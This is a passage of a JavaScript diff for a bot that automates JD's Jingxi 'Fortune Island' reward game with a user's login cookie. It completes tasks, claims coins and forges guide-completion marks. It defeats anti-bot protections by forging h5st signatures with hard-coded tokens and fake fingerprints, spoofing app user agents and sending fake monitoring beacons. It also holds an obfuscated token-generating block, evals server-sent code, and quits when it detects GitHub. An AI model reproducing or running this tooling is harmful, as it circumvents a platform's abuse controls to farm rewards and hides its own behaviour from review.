$.allTask[i]; + console.log(`开始第${i + 1}个【📆日常任务】${taskinfo.taskName}\n`); + for (let i = start; i < end; i++) { + //做任务 + console.log(`【📆日常任务】${taskinfo.taskName} 进度:${i + 1}/${end}`) + await doTask(taskinfo.taskId); + await $.wait(2000); + } + //领取奖励 + await awardTask(0, taskinfo); + } + break; + case 1://成就任务 + for (let i = 0; i < $.allTask.length; i++) { + const taskinfo = $.allTask[i]; + console.log(`开始第${i + 1}个【🎖成就任务】${taskinfo.taskName}\n`); + if(taskinfo.completedTimes < taskinfo.targetTimes){ + console.log(`【领成就奖励】${taskinfo.taskName} 该成就任务未达到门槛\n`); + } else { + //领奖励 + await awardTask(1, taskinfo); + await $.wait(2000); + } + } + break; + default: + break; + } + resolve(); + }); + } + + //做任务 + function doTask(taskId, type = 1) { + return new Promise(async (resolve) => { + switch (type) { + case 1: + $.get(taskListUrl(`DoTask`, `taskId=${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} DoTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + break + case 2: + $.get(taskListUrl(`DoTask`, `taskId=${taskId}`, `jxbfddch`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} DoTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + default: + break + } + }) + } + + //领取奖励 + function awardTask(taskType, taskinfo) { + return new Promise((resolve) => { + const {taskId, taskName} = taskinfo; + switch (taskType) { + case 0://日常任务 + $.get(taskListUrl(`Award`, `taskId=${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} Award API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data); + let str = ''; + if (msg.indexOf('活动太火爆了') !== -1) { + str = '任务为成就任务或者未到任务时间'; + } else { + str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; + } + console.log(`【领日常奖励】${taskName} ${str}\n${$.showLog ? data : ''}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break + case 1://成就奖励 + $.get(taskListUrl(`Award`, `taskId=${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} AchieveAward API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data); + if(msg.indexOf('活动太火爆了') !== -1) { + console.log(`活动太火爆了`) + } else { + console.log(`【领成就奖励】${taskName} 获得财富值 ¥ ${JSON.parse(prizeInfo).ddwMoney}\n${$.showLog ? data : ''}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break + default: + break + } + }); + } + + // 新手任务 + async function noviceTask(){ + let body = `` + await init(`user/guideuser`, body) + body = `strMark=guider_step&strValue=welcom&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=gift_redpack&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=none&dwType=2` + await init(`user/SetMark`, body) + } + async function init(function_path, body) { + return new Promise(async (resolve) => { + $.get(taskUrl(function_path, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} init API请求失败,请检查网路重试`) + } else { + if (function_path == "user/SetMark") opId = 23 + if (function_path == "user/guideuser") opId = 27 + data = JSON.parse(data); + contents = `1771|${opId}|${data.iRet}|0|${data.sErrMsg || 0}` + await biz(contents) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + function biz(contents){ + return new Promise(async (resolve) => { + let option = { + url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer: "https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: 'm.jingxi.com', + "User-Agent": `jdpingou;iPhone;3.15.2;14.2.1;ea00763447803eb0f32045dcba629c248ea53bb3;network/wifi;model/iPhone13,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`, + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + } + } + $.get(option, async (err, resp, _data) => { + try { + // console.log(_data) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }) + }) + } + + function taskUrl(function_path, body = '') { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CddwTaskId%2CdwEnv%2Cptag%2Csource%2CstrShareId%2CstrZone&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; + return { + url, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent":`jdpingou;iPhone;3.15.2;14.2.1;ea00763447803eb0f32045dcba629c248ea53bb3;network/wifi;model/iPhone13,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`, + "Accept-Language": "zh-cn", + }, + timeout: 10000 + }; + } + + function taskListUrl(function_path, body = '', bizCode = 'jxbfd') { + let url = `${JD_API_HOST}newtasksys/newtasksys_front/${function_path}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CconfigExtra%2CdwEnv%2Cptag%2Csource%2CstrZone%2CtaskId&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; + return { + url, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent":`jdpingou;iPhone;3.15.2;14.2.1;ea00763447803eb0f32045dcba629c248ea53bb3;network/wifi;model/iPhone13,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`, + "Accept-Language": "zh-cn", + }, + timeout: 10000 + }; + } + + function showMsg() { + return new Promise(async (resolve) => { + if ($.result.length) { + if ($.notifyTime) { + const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); + const now = $.time("HH:mm").split(":"); + console.log(`\n${JSON.stringify(notifyTimes)}`); + console.log(`\n${JSON.stringify(now)}`); + if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { + $.msg($.name, "", `${$.result.join("\n")}`); + } + } else { + $.msg($.name, "", `${$.result.join("\n")}`); + } + + if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${$.result.join("\n")}`); + } + resolve(); + }); + } + + function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://share.turinglabs.net/api/v3/jxbfd/query/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) + } + //格式化助力码 + function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + // const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = [...$.strMyShareIds]; + } + // const readShareCodeRes = await readShareCode(); + // if (readShareCodeRes && readShareCodeRes.code === 200) { + // $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + // } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) + } + function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + let shareCodes = []; + if ($.isNode() && process.env.JDCFD_SHARECODES) { + if (process.env.JDCFD_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDCFD_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDCFD_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_jxCFD')) $.shareCodesArr = $.getdata('jd_jxCFD').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的京喜财富岛邀请码:${$.getdata('jd_jxCFD')}\n`); + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) + } + + function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) + } + function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } + } + /* + 修改时间戳转换函数,京喜工厂原版修改 + */ + Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; + } + + async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) + } + function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } + } + + /** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ + function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } + } + /** + * 模拟生成 fingerprint + * @returns {string} + */ + function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) + } + var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; + !function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); + // prettier-ignore + function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 